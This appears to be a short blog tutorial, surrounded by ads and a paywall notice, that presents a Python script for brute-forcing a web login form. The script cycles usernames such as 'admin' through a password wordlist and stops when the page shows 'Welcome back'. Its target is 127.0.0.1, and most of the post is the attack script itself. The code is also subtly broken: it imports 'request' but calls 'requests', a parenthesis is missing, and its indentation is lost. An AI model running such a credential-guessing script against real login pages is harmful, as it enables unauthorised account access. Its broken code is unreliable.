Python Hacking Automation Example – Web Login Form Brute Forcing
This is an example of Password Brute Forcing using Python.
InvestmentCenter.com providing Startup Capital, Business Funding and Personal Unsecured Term Loan. Visit FundingMachine.com
import request
import sys
target = "http://127.0.0.1:5000"
usernames = ["admin", "user", "test"]
passwords = "top-100.txt"
needle = "Welcome back"
for username in usernames:
with open(passwords, "r") as passwords_list:
for password in passwords_list:
password = password.strip("\n").encode()
sys.stdout.write("[X] Attempting user:pasword -> {}:{}\r".format(username, password.decode())
sys.stdout.flush()
r = requests.post(target, data={"username": username, "password": password})
if needle.encode() in r.content:
sys.stdout.write("\n")
sys.stdout.write("\t[>>>>>] Valid password '{}' found for user '{}'!".format(password.decode(), username))
sys.exit()
sys.stdout.flush()
sys.stdout.write("\n")
sys.stdout.write("\tNo password found for '{}'!".format(username))
sys.stdout.write("\n")
Here’s the complete code, with added line.
Subscribe to continue reading
Subscribe to get access to the rest of this post and other subscriber-only content.
Chatbot AI and Voice AI | Ads by QUE.com - Boost your Marketing. 

